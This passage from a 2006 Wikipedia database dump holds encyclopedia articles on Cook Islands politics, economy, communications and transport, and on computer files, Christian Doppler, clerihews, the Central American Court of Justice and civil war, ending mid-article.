'''Politics of the Cook Islands''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[dependency]], whereby the Chief Minister is the [[head of government]], and of a pluriform multi-party system. The Islands are self-governing in free association with [[New Zealand]] and are fully responsible for internal affairs. New Zealand retains some responsibility for external affairs, in consultation with the Cook Islands. In recent years the Cook Islands has taken on more of its own external affairs and as of [[2005]] has diplomatic relations in its own name with 18 other countries. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[Parliament of the Cook Islands]]. 
The [[Judiciary]] is independent of the executive and the legislature. 

==Executive branch==
{{office-table}}
|Queen
|[[Queen Elizabeth II of the United Kingdom|Elizabeth II]] 
|
|[[6 February]] [[1952]]
|-
|Queen's Representative
|Sir [[Frederick Goodwin]] KBE
|
|[[9 February]] [[2001]]
|-
|New Zealand High Commissioner
|[[John Bryan]]
|
|[[August]] [[2005]]
|-
|[[Prime Minister of the Cook Islands|Prime Minister]]
|[[Jim Marurai]]
|[[Democratic Alliance Party (Cook Islands)|DAP]]
|[[14 December]] [[2004]]
|}
The monarch is hereditary; her representative is appointed by the monarch. The New Zealand high commissioner is appointed by the New Zealand Government. The cabinet is chosen by the prime minister and collectively responsible to Parliament. 
Ten years of rule by the Cook Islands Party (CIP) came to an end [[18 November]] [[1999]] with the resignation of Prime Minister Joe Williams. Williams had led a minority government since October 1999 when the New Alliance Party (NAP) left the government coalition and joined the main opposition [[Democratic Alliance Party (Cook Islands)|Democratic Party]] (DAP). On [[18 November]] [[1999]], DAP leader Dr. Terepai Maoate was sworn in as prime minister. He was succeeded by his co-partisan [[Robert Woonton]]. When he lost his seat in the 2004 elections, [[Jim Marurai]] took over.

==Legislative branch==
The [[Parliament of the Cook Islands]] has 25 members, elected for a five year term in single-seat constituencies.
==Political parties and elections==
{{elect|List of political parties in the Cook Islands|Elections in the Cook Islands}}
{{Cook_Islands_legislative_election,_2004}}

== International organization participation==
AsDB, ESCAP (associate), FAO, ICAO, ICFTU, IFAD, Intelsat (nonsignatory user), IOC, OPCW, Sparteca, SPC, SPF, UNESCO, WHO, WMO


== External link ==

Constitution of the Cook Islands and amendments http://www.paclii.org/ck/legis/num_act/cotci327/

{{Oceania in topic|Politics of}}

[[Category:Cook Islands]]
[[fr:Vie politique aux Îles Cook]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Cook Islands</title>
    <id>7072</id>
    <revision>
      <id>35305319</id>
      <timestamp>2006-01-15T20:12:20Z</timestamp>
      <contributor>
        <username>Natalya</username>
        <id>154294</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">This article describes the '''[[economic system|economy]] of the [[Cook Islands]]'''.
Like many other [[Polynesia|South Pacific]] island nations, the Cook Islands' economic development is hindered by the isolation of the country from foreign markets, lack of natural resources, periodic devastation from natural disasters, and inadequate [[infrastructure]]. Agriculture provides the economic base with major exports made up of [[copra]] and citrus fruit. Manufacturing activities are limited to fruit-processing, clothing, and handicrafts. Trade deficits are made up for by remittances from emigrants and by foreign aid, overwhelmingly from [[New Zealand]]. Efforts to exploit tourism potential, encourage offshore banking, and expand the mining and fishing industries have been partially successful in stimulating investment and growth.

; GDP:
: Purchasing power parity - $112 million (1998 est.)
; GDP - real growth rate:
: NA%
; GDP - per capita:
: Purchasing power parity - $5,600 (1998 est.)
; GDP - composition by sector:
:* Agriculture: 18%
:* Industry: 9%
:* Services: 73% (1995)
; Population below poverty line:
: NA%
; Household income or consumption by percentage share:
:* Lowest 10%: NA%
:* Highest 10%: NA%
; Inflation rate (consumer prices):
: 2.6% (1994 est.)
; Labor force:
: 6,601 (1993)
; Labor force - by occupation:
: Agriculture 29%, industry 15%, services 56% (1995)
; Unemployment rate:
: NA%
; Budget:
:* Revenues: $NA
:* Expenditures: $NA, including capital expenditures of $NA
; Industries:
: Fruit processing, tourism
; Industrial production growth rate:
: NA%
; Electricity - production:
: 15 GWh (1998)
; Electricity - production by source:
:* Fossil fuel: 100%
:* Hydro: 0%
:* Nuclear: 0%
:* Other: 0% (1998)
; Electricity - consumption:
: 14 GWh (1998)
; Electricity - exports:
: 0 kWh (1998)
; Electricity - imports:
: 0 kWh (1998)
; Agriculture - products:
: [[Copra]], [[citrus]], [[pineapple]]s, [[tomato]]es, [[bean]]s, [[pawpaw]]s, [[banana]]s, [[yam (vegetable)|yams]], [[taro]], [[coffee]]
; Exports:
: $4.2 million (f.o.b., 1994 est.)
; Exports - commodities:
: Copra, papayas, fresh and canned citrus fruit, coffee; fish; pearls and pearl shells; clothing
; Exports - partners:
: NZ 80%, Japan, Hong Kong (1993)
; Imports:
: $85 million (c.i.f., 1994)
; Imports - commodities:
: Foodstuffs, textiles, fuels, timber, capital goods
; Imports - partners:
: NZ 49%, Italy, Australia (1993)
; Debt - external:
: $141 million (1996 est.)
; Economic aid - recipient:
: $13.1 million (1995); note - New Zealand furnishes the greater part
; Currency:
: 1 New Zealand dollar (NZ$) = 100 cents
; Exchange rates:
: New Zealand dollars (NZ$) per US$1 - 1.9451 (January 2000), 1.8886 (1999), 1.8632 (1998), 1.5083 (1997), 1.4543 (1996), 1.5235 (1995)
; Fiscal year:
: [[1 April]]&amp;ndash;[[31 March]]

See also: [[Cook Islands]]

[[Category:Cook Islands]]
[[Category:Economies by country|Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Cook Islands</title>
    <id>7073</id>
    <revision>
      <id>37394082</id>
      <timestamp>2006-01-30T19:31:32Z</timestamp>
      <contributor>
        <username>ZachPruckowski</username>
        <id>626251</id>
      </contributor>
      <minor />
      <text xml:space="preserve">This article lists '''[[communication|communications]] in the [[Cook Islands]]'''.
; [[Telephone]]s - main lines in use:
: 4,180 (1994)
; Telephones - mobile cellular:
: 0 (1994)
: In phase of installation of GSM infrastructure (2003)
: GSM 900MHz cellular network in place (2004).  Estimated users 1000+
; Telephone system:
:* Domestic: The individual islands are connected by a combination of satellite earth stations, microwave systems, and VHF and HF radiotelephone; within the islands, service is provided by small exchanges connected to subscribers by open wire, cable, and fiber-optic cable
:* International: Satellite earth station - 1 [[Intelsat]] ([[Pacific Ocean]])
; [[Radio]] [[broadcasting|broadcast]] stations:
: AM 1, FM 2, shortwave 0 (1998)
; Radios:
: 14,000 (1997)
; [[Television]] broadcast stations:
: 2 (plus eight low-power repeaters) (1997)
; Televisions:
: 4,000 (1997)
; [[Internet Service Provider]]s (ISPs):
: 1 (1999)
; [[Country code]]:
: CK

See also: [[Cook Islands]]

[[Category:Communications by country|Cook Islands]]
[[Category:Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in the Cook Islands</title>
    <id>7074</id>
    <revision>
      <id>39079276</id>
      <timestamp>2006-02-10T15:57:04Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Oceania in topic|Transport in}}, {{CIA}}</comment>
      <text xml:space="preserve">{{CIA}}

This article lists '''[[transport]] in the [[Cook Islands]]'''.

; Railways:
: 0 km
; [[Highway]]s:
:* Total: 187 [[kilometre|km]]
:* Paved: 35 km
:* Unpaved: 152 km (1980 est.)
; Ports and [[harbour]]s:
: Avarua, Avatiu
; [[Merchant marine]]:
:* Total: 1 ship (1,000 GRT or over) totalling 2,310 GRT/2,181 DWT
:* Ships by type: Cargo 1 (1999 est.)
; [[Airport]]s:
: 7 (1999 est.)
; Airports - with paved runways:
:* Total: 1
:* 1,524 to 2,437 m: 1 (1999 est.)
; Airports - with unpaved runways:
:* Total: 6
:* 1,524 to 2,437 m: 3
:* 914 to 1,523 m: 3 (1999 est.)

See also: [[Cook Islands]]

{{Oceania in topic|Transport in}}

[[Category:Cook Islands]]
[[Category:Transportation by country|Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Islands/Military</title>
    <id>7075</id>
    <revision>
      <id>15905167</id>
      <timestamp>2002-09-07T00:13:53Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <comment>merge with main page</comment>
      <text xml:space="preserve">#REDIRECT [[Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Computer file</title>
    <id>7077</id>
    <revision>
      <id>41647982</id>
      <timestamp>2006-02-28T19:56:50Z</timestamp>
      <contributor>
        <ip>196.2.124.252</ip>
      </contributor>
      <comment>/* External links and references */</comment>
      <text xml:space="preserve">:''This article discusses computer files and file systems in general terms. For a more detailed and technical discussion, see [[File system]].

A '''computer file''' is a collection of information that is stored in a [[computer]] system and can be identified by its full path name.  Computer files are so called because they are the computer equivalent of card, paper, or [[microfiche]] files in the traditional office environment.
Computer files provide a way to organize the resources used to permanently store information inside a computer.

==File Content==
Information in a computer file usually consists of smaller packets of information (often called ''records'' or ''lines'') that are individually different but 
share some trait in common. For example, a payroll file might contain information concerning all the employees in a company and their payroll details; each 
record in the payroll file concerns just one employee, and all the records have the common trait of being related to payroll&amp;mdash;this is very similar to placing 
all payroll information into a specific filing cabinet in an office that does not have a computer. A text file may contain lines of text, corresponding to 
printed lines on a piece of paper.

The way information is grouped into a file is entirely up to the person designing the file.

Most computer files are used by [[computer programs]].  These programs create, modify and delete files for their own use on an as-needed basis. The programmers 
who create the programs decide what files are needed, how they are to be used and (often) their names.

In some cases, computer programs manipulate files that are made visible to the computer user. For example, in a word-processing program, the user manipulates document 
files that she names herself. The content of the document file is arranged in a way that the word-processing program understands, but the user chooses the 
name and location of the file, and she provides the bulk of the information (such as words and text) that will be stored in the file.

Many different types of information can be stored in computer files. Some computer files contain text (words, spaces, digits and so on). Others contain 
pictures or sounds. Still others may contain ''[[computer program|computer programs]].''  A file is simply a stream of bytes, which is treated by the operating system as a single logical unit.  Many applications pack all their data files into a single file.  The data files used by games such as [[Doom]] and [[Quake]] are examples of this.

A computer data file often has a size, which is usually expressed in ''[[byte|bytes]].''  Special types of files in Unix, such as device nodes in /dev and entries in /proc under Linux, do not use file sizes.

Files on a computer can be created, moved, modified, grown, shrunk and deleted. In most cases, computer programs that are executed on the computer handle these 
operations, but the user of a computer can also manipulate files if necessary. For instance, [[Microsoft Word]] files are normally created and modified by the 
Microsoft Word program in response to user commands, but the user can also move, rename, or delete these files directly by using a ''[[file manager|file manager 
program]]'' such as [[Windows Explorer]] (on Windows computers).

==Identifying and organizing files==
[[Image:FileFolders.jpg|thumb|300px|right|Files and folders arranged in a hierarchy]]
In modern computer systems, files always have names. Files are located in ''directories''.  A file's name within a directory must be unique.  In other words, no two files in a directory may have the same name.

A file's name and the path to the file's directory uniquely identifies it among all other files in the computer system&amp;mdash;no two files can 
have the same name. The appearance of the name depends on the type of computer system being used. Early computers permitted only a few letters or digits in the 
name of a file, but modern computers allow long names containing almost any combination of letters or digits, making it easier to understand the purpose of a 
file at a glance. Some computer systems allow file names to contain spaces; others do not.  Case-sensitivity of file names is determined by the [[file system]].  Unix file systems are usually case sensitive and allow user-level applications to create files whose names differ only in the case of characters.  [[Microsoft Windows]] supports multiple file systems, each with different policies regarding case-sensitivity.  The common [[File Allocation Table|FAT]] file system can have multiple files whose names differ only in case if the user uses a [[disk editor]] to edit the file names in the [[directory entry|directory entries]].  User applications, however, will usually not allow the user to create multiple files with the same name but differing in case.

Most computers organize files into hierarchies called ''folders, directories,'' or ''catalogs.'' (The concept is the same irrespective of the terminology used.) 
Each folder can contain an arbitrary number of files, and it can also contain other folders. The other folders can contain still more files and folders and so 
on, thus building a tree-like structure in which one &amp;ldquo;master folder&amp;rdquo; (or &amp;ldquo;root folder&amp;rdquo;&amp;mdash;the name varies from one computer to 
another) can contain any number of levels of other folders and files. The folders can be named just as files can (except for the root folder, which often does 
not have a name). The use of folders makes it easier to organize files in a logical way.

When a computer allows the use of folders, each file and folder has not only a name of its own, but also a ''path,'' which identifies the folder or folders in
which a file or folder resides.  In the path, some sort of special character&amp;mdash;such as a slash&amp;mdash;is used to separate the file and folder names.  For 
example, in the illustration shown in this article, the path '''/Payroll/Salaries/Managers''' uniquely identifies a file called '''Managers''' in a folder 
called '''Salaries''', which in turn is contained in a file called '''Payroll'''. The folder and file names are separated by slashes in this example; the 
topmost or root folder has no name, and so the path begins with a slash (if the root folder had a name, it would precede this first slash).

Many (but not all) computer systems use ''extensions'' in file names to help identify what they contain. On Windows computers, extensions consist of a dot or 
period at the end of a file name, followed by a few letters to identify the type of file. An extension of '''.txt''' identifies a text file; the '''.doc''' 
extension identifies any type of document or documentation, commonly in the [[Microsoft Word]] file format; and so on.  Even when extensions are used in a computer system, the degree to which the computer system recognizes 
and heeds them can vary; in some systems, they are required, while in other systems, they are completely ignored if they are present.

==Protecting files==
Many modern computer systems provide methods for protecting files against accidental and deliberate damage.  Computers that allow for multiple users implement 
''file permissions'' to control who may or may not modify, delete, or create files and folders.  A given user may be granted only permission to modify a file or 
folder, but not to delete it; or a user may be given permission to create files or folders, but not to delete them.  Permissions may also be used to allow only 
certain users to see the contents of a file or folder. Permissions protect against unauthorized tampering or destruction of information in files, and keep 
private information confidential by preventing unauthorized users from seeing certain files.

Another protection mechanism implemented in many computers is a ''read-only flag.''  When this flag is turned on for a file (which can be accomplished by a 
computer program or by a human user), the file can be examined, but it cannot be modified. This flag is useful for critical information that must not be 
modified or erased, such as special files that are used only by internal parts of the computer system. Some systems also include a ''hidden flag'' to make 
certain files invisible; this flag is used by the computer system to hide essential system files that users must never modify

==Storing files==
In physical terms, most computer files are stored on ''[[hard disk|hard disks]]''&amp;mdash;spinning magnetic disks inside a computer that can record information 
indefinitely. Hard disks allow almost instant access to computer files.

On large computers, some computer files may be stored on magnetic tape. Files can also be stored on other media in some cases, such as writeable
''[[compact disc|compact discs]]'', ''[[Zip drive|Zip drives]],'' etc.

==Backing up files==
When computer files contain information that is extremely important, a ''back-up'' process is used to protect against disasters that might destroy the files. 
Backing up files simply means making copies of the files in a separate location so that they can be restored if something happens to the computer, or if they 
are deleted accidentally.

There are many ways to back up files. Most computer systems provide utility programs to assist in the back-up process, which can become very time-consuming if 
there are many files to safeguard.  Files are often copied to removable media such as writeable CDs or cartridge tapes. Copying files to another hard disk in 
the same computer protects against failure of one disk, but if it is necessary to protect against failure or destruction of the entire computer, then copies of 
the files must be made on other media that can be taken away from the computer and stored in a safe, distant location.

==File systems and file managers==
The way a computer organizes, names, stores and manipulates files is globally referred to as its ''[[file system]].'' All computers have at least one file 
system; some computers allow the use of several different file systems. For instance, on newer Windows computers, the older [[FAT]] and [[FAT32]] file systems 
of old versions of Windows are supported, in addition to the [[NTFS]] file system that is the normal file system for recent versions of Windows.  NTFS is not newer than FAT32;  it has existed since [[Windows NT]] was first released in 1993.
Each system has its own advantages and disadvantages. Standard FAT allow only eight-character file names (plus a three-character extension) with no spaces, for example, 
whereas NTFS allows much longer names that can contain spaces. You can call a file '''Payroll records''' in NTFS, but in in FAT you would be restricted to 
something like '''payroll.dat''' (unless you were using VFAT, a FAT extension allowing long file names).

[[File manager|File-manager]] programs are utility programs that allow you to manipulate files directly.  They allow you to move, create, delete and rename 
files and folders, although they do not actually allow you to read the contents of a file or store information in it.  Every computer system provides at least 
one file-manager program for its native file system. Under Windows, the most commonly used file manager program is Windows Explorer.

==See also==
*[[File manager]]
*[[File system]]
*[[File copying]]
*[[File size]]
*[[Block]]
*[[Object_composition]]

==External links and references==
* [http://www.wwwcentral.net/ File Extension Archives]
*[http://www.dotwhat.net/ Dotwhat? - File Extension Listing] - Listing of file extensions and the programs that use them.
*[http://filext.com/ FILExt - The File Extension Source] - Site for looking up file extensions.
*[http://www.filename.info/ Filename.info] - Information about [[Microsoft Windows]] filenames.
*[http://www.2-spware.com/files.php Exploit Files] - List of files associated with [[spyware]] and [[adware]].
*[http://www.pcreview.co.uk/startup/ - Startup Files] Windows Startup Files Information

 &lt;!-- Method of ... --&gt;

[[Category:Computer data]]
[[Category:Computer file systems|File]]
[[Category:Inter-process communication]]

[[ast:Ficheru informáticu]]
[[da:Fil (dataobjekt)]]
[[de:Datei]]
[[et:Fail]]
[[es:Archivo informático]]
[[eo:Dosiero]]
[[fa:پرونده (رایانه)]]
[[fr:Fichier (informatique)]]
[[fy:Triem]]
[[ko:파일]]
[[it:File]]
[[he:קובץ]]
[[lt:Failas]]
[[hu:Fájl]]
[[nl:Bestand (computer)]]
[[no:Datafil]]
[[pl:Plik]]
[[pt:Arquivo]]
[[ru:Файл]]
[[sl:Datoteka]]
[[vi:Tập tin]]
[[zh:计算机文件]]</text>
    </revision>
  </page>
  <page>
    <title>CID</title>
    <id>7079</id>
    <revision>
      <id>29403242</id>
      <timestamp>2005-11-27T19:28:24Z</timestamp>
      <contributor>
        <ip>61.2.20.51</ip>
      </contributor>
      <text xml:space="preserve">As an acronym '''CID''' can refer to (in alphabetical order):
* Telephone [[Caller ID]].
* [[CVV2|Card Identification Number]], a security feature on [[American Express]] credit cards.
* A [[charge-injection device]] which is a light-sensor based on [[photodiode]]s.
* [[CID fonts]].
* [[Collision-induced dissociation]] a mass spectrometry technique for fragmenting gas phase ions.
* [[Combat Identification]] the process of characterizing military objects.
* The [[Committee of Imperial Defence]] which was formed in [[1904]] and responsible for directing British [[military strategy]].
* NASA's [[Controlled Impact Demonstration]].
* The [[International Dance Council|Counseil International de la Dance]] (english: International Dance Council).
* The [[Criminal Investigation Department]] within [[United Kingdom]] and [[Commonwealth]] police forces.
* The [[Criminal Investigation Division]] of the United States Army.
* Cubic-inch [[engine displacement|displacement]] in [[automobiles]].

'''CID''' can also refer to:
* The Spanish knight [[El Cid]].

* [[The Eastern Iowa Airport]] in [[Cedar Rapids, Iowa]].

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Christian Doppler</title>
    <id>7080</id>
    <revision>
      <id>40664492</id>
      <timestamp>2006-02-22T03:51:01Z</timestamp>
      <contributor>
        <username>Tevatron</username>
        <id>191635</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Cdoppler.jpg|thumb|right|150px|Christian Doppler]]
'''Johann Christian Andreas Doppler''' ([[November 29]], [[1803]] in &amp;ndash; [[March 17]], [[1853]]) was an [[Austrian]] [[mathematician]] and [[physicist]], most famous for the hypothesis of what is now known as the [[Doppler effect]] which causes the frequency of a wave to apparently change as its source moves toward or away from the observer.

==Life==
Christian Doppler was born in [[Salzburg]] as the son of a stonemason. However he could not work in his father's business because of his generally weak physical condition. After completing high school he studied physics and mathematics in [[Vienna]] and Salzburg and started to work at the [[Prague Polytechnic]] (now [[Czech Technical University]]), where he was appointed professor for mathematics and physics in [[1841]]. 

Only one year later at the age of 39 he published his most notable work on the [[Doppler effect]] (for instance to be noticed in the change of sound of a quickly passing vehicle). In his time in [[Prague]] as professor he published more than 50 articles in mathematics, physics and astronomy.

His research career in Prague was interrupted by the revolutionary incidents of March [[1848]], when he fled to Vienna. There he was appointed head of the Institute for Experimental Physics at the [[University of Vienna]] in [[1850]].

He died from a pulmonary disease in [[Venice]] aged 49.

==References==
* Peter M. Schuster: ''Moving the Stars - Christian Doppler: His Life, His Works and Principle, and the World After''. - Pöllauberg, Austria: Living Edition, 2005. - ISBN 3-901585-05-2 (translated by Lily Wilmes; [http://www.petermschuster.at/ Webpage] of the author)

==See also==
*[[List of Austrian scientists]]
*[[List of Austrians]]

==External links==
*[http://www.visit-salzburg.net/sights/christiandoppler.htm Christian Doppler and his birthplace in Salzburg]
*{{MacTutor Biography|id=Doppler}}
*[http://www.maislinger.net/liste_english/ Born between Salzburg and Braunau am Inn]
{{mathbiostub}}

[[Category:1803 births|Doppler, Christian]]
[[Category:1853 deaths|Doppler, Christian]]
[[Category:Austrian mathematicians|Doppler, Christian]]
[[Category:Austrian physicists|Doppler, Christian]]
[[Category:Austrian scientists|Doppler, Christian]]
[[Category:Doppler effects]]
[[cs:Christian Andreas Doppler]]
[[de:Christian Doppler]]
[[es:Christian Andreas Doppler]]
[[fr:Christian Doppler]]
[[he:כריסטיאן אנדראס דופלר]]
[[hr:Christian Doppler]]
[[nl:Christian Doppler]]
[[ja:クリスチャン・ドップラー]]
[[no:Christian Andreas Doppler]]
[[nn:Christian Andreas Doppler]]
[[pl:Christian Andreas Doppler]]
[[sk:Christian Johann Doppler]]
[[sl:Christian Andreas Doppler]]
[[fi:Christian Doppler]]
[[sv:Christian Doppler]]
[[zh:克里斯琴·多普勒]]</text>
    </revision>
  </page>
  <page>
    <title>Clerihew</title>
    <id>7081</id>
    <revision>
      <id>41837644</id>
      <timestamp>2006-03-02T01:46:55Z</timestamp>
      <contributor>
        <username>RichardNeill</username>
        <id>109633</id>
      </contributor>
      <minor />
      <comment>/* slightly fixed formatting */</comment>
      <text xml:space="preserve">A '''Clerihew''' (or '''clerihew''') is a very specific kind of humorous [[verse]], typically with the following properties:
* The first line consists solely (or almost solely) of a well-known person's name
* The verse is humorous and usually whimsical, showing the subject from an unusual point of view; but it is hardly ever satirical, abusive or obscene
* It has four lines.
* The form was invented by and is named after [[Edmund Clerihew Bentley]].

==Examples==
The first ever Clerihew:
:[[Sir Humphrey Davy]]
:Abominated gravy.
:He lived in the odium
:Of having discovered [[sodium]].


:Edmund Clerihew Bentley
:Worked swiftly if not gently,
:Tracking murderers down by a hidden clew
:In whodunit and clerihew.


:Edmund Clerihew Bentley
:Mused, when he ought to have studied intently;
:It was this muse
:That inspired clerihews.


:Edmund Clerihew Bentley
:was evidently
:a man
:who could not get his verses to scan


:Sir [[Karl Popper]]
:Perpetrated a whopper
:When he boasted to the world that he and he alone
:Had toppled [[Rudolf Carnap]] from his [[Vienna Circle]] throne.
:(by Armand T. Ringer)


:Sir [[Christopher Wren]]
:Said, &quot;I am going to dine with some men.
:If anyone calls,
:Say I am designing [[St Paul's Cathedral|St Paul's]].&quot;


:[[John Stuart Mill]],
:By a mighty effort of will,
:Overcame his natural bonhomie
:And wrote 'Principles of Political Economy'.


:Daniel Defoe
:Lived a long time ago
:He had nothing to do so
:He wrote Robinson Crusoe


:[[Johann Sebastian Bach]]
:was fond of saying, &quot;Ach!&quot;
:And instead of saying &quot;Guten Morgen&quot;
:He played the Toccata and Fugue on the organ!


:[[Alfred, Lord Tennyson]]
:Lived upon venison;
:Not cheap, I fear,
:Because venison's dear.
:(credited to [[Louis Untermeyer]])


:George the Third
:Ought never to have occurred.
:One can only wonder
:At so grotesque a blunder. 


Clerihews are occasionally not about a particular person, as in this example by Bentley:

:The art of Biography
:Is different from Geography,
:Geography is about maps,
:But Biography is about chaps.

This is really a meta-Clerihew, as Clerihews are mini biographies.
===The World's Shortest Clerihew===

&quot;To the Poetry Editor of the New Yorker&quot; was composed, over breakfast, by [[W.H. Auden]] and [[Chester Kallman]], in honor of [[Howard Moss]], poet, critic, and editor of poetry at ''[[The New Yorker]]''. Despite or because of the poem's brevity, Auden and Kallman manage to rhyme the names of three different people.  The poem was discovered years after Auden's death in a [[manuscript|manuscript notebook]] donated by his heirs to the [[New York Public Library]]. It has apparently never been printed in ''The New Yorker'':

TO THE POETRY EDITOR OF THE NEW YORKER

:Is [[Robert Lowell]]&lt;br&gt;Better than [[Noel Coward|Noel]]&lt;br&gt;[[Noel Coward|Coward]],&lt;br&gt;Howard?

==External links==
*[http://www.gigglepoetry.com/poetryclass/clerihew.htm How to write a Clerihew]
*[http://www.poetry4kids.com/modules.php?name=Content&amp;pa=showpage&amp;pid=8 How to write a Clerihew poem]


[[Category:Poetic form]]
[[de:Clerihew]]
[[nl:Clerihew]]
[[zh:克萊里休詩]]</text>
    </revision>
  </page>
  <page>
    <title>Central American Court of Justice</title>
    <id>7082</id>
    <revision>
      <id>39262984</id>
      <timestamp>2006-02-11T23:16:52Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">The '''Central American Court of Justice''' (1907&amp;ndash;1918, 1962 to date) is an [[international judicial institutions|international court]] established by five [[Central America]]n states. It was initially created by a treaty signed on [[December 20]], [[1907]] at [[Washington, D.C.]], [[United States]]; following its dissolution in 1918, it was re-created in 1962 as an action of the [[Organization of Central American States]].

==History==
===Founding===
Between [[November 14]], and [[December 20]], [[1907]], following a proposal made by [[Mexico]] and the United States, five Central American nations &amp;ndash; [[Costa Rica]], [[El Salvador]], [[Guatemala]], [[Honduras]] and [[Nicaragua]] &amp;ndash; took part in the [[Central American Peace Conference]] in Washington, D.C. 

The five nations, which had all previously been [[Spain|Spanish]] [[Spanish colonization of the Americas|colonies]] had sought on numerous prior occasions, with great difficulty, to form a political alliance. The earliest attempt was the [[United Provinces of Central America]], and the most recent such effort had taken place  11 years earlier, with the founding of the [[Republic of Central America]]. On [[December 20]] an agreement was reached and the five nations ended the Conference by signing a peace treaty, one aspect of which created the Central American Court of Justice ''(Corte de Justicia Centroamericana)''. 

The signatories agreed that the convention creating the Court would remain in effect for ten years, beginning at the time of the last ratification.

All communications between the signatories were made through the government of Costa Rica. The Convention was ratified by the member states on the following dates:
*Nicaragua, [[February 15]], [[1908]]
*Costa Rica, [[February 28]], [[1908]]
*El Salvador, [[March 4]], [[1908]]
*Honduras, [[March 4]], [[1908]]
*Guatemala, [[March 12]], [[1908]]

The Court was composed of five judges, one each from each member state.

===Operation of the first CACJ===
For the period of its functioning the Court heard teb cases, five of which were brought by private individuals and declared inadmissible, and three of which were started by the Court's own initiative.

===Dissolution of the first CACJ===
The court operated for 10 years, until April [[1918]], from its headquarters in [[Costa Rica]], at which point it dissolved. Its members had sought without success from March [[1917]], when Nicaragua gave a notice of termination from the agreement, to continue the arrangement.

Several explanations for the treaty's failure exist:
*The court lacked an effective system of judicial procedure.
*The judges were not free to act independently of their respective governments.
*The court had been given a jurisdiction too broad to satisfy its member states.

===Creation of the second Court===
Following the end of [[World War II]], a new interest in integrating the Central American governments began. On [[October 14]], [[1951]], 33 years after the dissolution of the CACJ, the governments of Costa Rica, El Salvador, Guatemala, Honduras, and Nicaragua signed a new treaty creating the [[Organization of Central American States]] ''(Organización de Estados Centroamericanos'', or ''ODECA)''.

The following year, [[December 12]], [[1962]], ODECA's charter was altered to create a new Central American Court of Justice (this time called the ''Corte Centroamericana de Justicia'', or ''CCJ)'', without the time limitation of its previous incarnation.

Idle for nearly 30 years thereafter, the court changed shape in [[1991]] when Article 12 of the [[Protocol of Tegucigalpa]] created the [[Central American Integration System]] ''(Sistema de Integración Centroamericana'', or ''SICA)'', and the union was joined by [[Panama]] (as a member state), and [[Belize]] (as an observer).

===The CCJ today===
The current mission of the CCJ is to promote peace in the region and unity between its member-states. Today's Court has jurisdiction to hear cases:
*between member States
*between a member state and a non-member state which agrees to the Court's jurisdiction
*between states and any natural or legal person who is a resident of any member state
*regarding the integration process between Central American Integration System's (''SICA'') organs and member states or natural or legal persons

The Court may also offer consultation to the Supreme Courts of the region.

As of [[July 2005]], the CCJ has made 70 resolutions since hearing its first case in [[1994]].

==Notable decisions==
*In [[2005]], the Court ruled that Nicaraguan congressional reforms, which took control of water, energy and telecommunications services away from President [[Enrique Bolaños]] were &quot;legally inapplicable&quot;, possibly further inciting the Nicaraguan political crisis.

==See also==
*[[History of Central America]]
*[[Republic of Central America]]

==External references==
*[http://www.ccj.org.ni/ Official website of the CCJ] (Spanish language)
*[http://www.worldcourts.com/cacj/eng/history.htm History of the CACJ from worldcourts.com]
*[http://www.pict-pcti.org/courts/CACJ.html CACJ history page from PICT]
*[http://www.ticotimes.net/cent_amer.htm &quot;Commission Studies Impeachment&quot;], the ''[[Tico Times]],'' [[July 15]] &amp;ndash; [[July 21]], [[2005]]
*[http://www.virtual-institute.de/en/wcd/wcd.cfm?104020501200.cfm Land, Island and Maritime Frontier Dispute, World Court Digest]


[[Category:Central America]]
[[Category:International law]]</text>
    </revision>
  </page>
  <page>
    <title>Civil war</title>
    <id>7085</id>
    <revision>
      <id>42086870</id>
      <timestamp>2006-03-03T19:10:14Z</timestamp>
      <contributor>
        <ip>206.190.193.91</ip>
      </contributor>
      <comment>/* Earlier Civil Wars */</comment>
      <text xml:space="preserve">:''For other uses, see [[civil war (disambiguation)]]. See [[list of civil wars]] for individual examples.''

A '''civil war''' is a [[war]] in which the parties within the same [[country]] or [[empire]] struggle for national control of state [[Power (sociology)|power]]. As in any war, the conflict may be over other matters such as [[religion]], [[ethnicity]], or distribution of [[wealth]]. Some civil wars are also categorized as [[revolution]]s when major societal restructuring is a possible outcome of the conflict. An [[insurgency]], whether successful or not, is likely to be classified as a civil war by some [[historian]]s if, and only if, organized armies fight conventional [[battle]]s. Other historians state the criteria for a civil war is that there must be prolonged violence between organized factions or defined regions of a country (conventionally fought or not).

Ultimately the distinction between a &quot;civil war&quot; and a &quot;revolution&quot; or other name is arbitrary, and determined by usage. The successful insurgency of the 1640s in England which led to the (temporary) overthrow of the monarchy became known as the '''[[English Civil War]]'''. The successful insurgency of the 1770s in British colonies in America, with organized armies fighting battles, came to be known as the [[American Revolution]]. In the United States, and in American-dominated sources, the term 'the civil war' almost always means the '''[[American Civil War]]''', with other civil wars noted or inferred from context.

==Earlier Civil Wars==

What is generally agreed on is that the factors such as nationalism, religion, and ideology, played little role in pre-modern civil wars. While it is quite common for nationalists to read past revolts, such as those of [[Scotland]] against [[England]] as early stirrings of nationalism, this is a somewhat suspect notion. Religion is more contentious, there are some civil wars that can be seen as fueled by religion in early years, such as the [[Jewish Revolts]] against [[Rome]], but these can also be seen as revolts by a servile people against their oppressors or uprisings by local notables in an attempt to gain independence.

==Premodern Civil Wars==
===Religious conflicts===
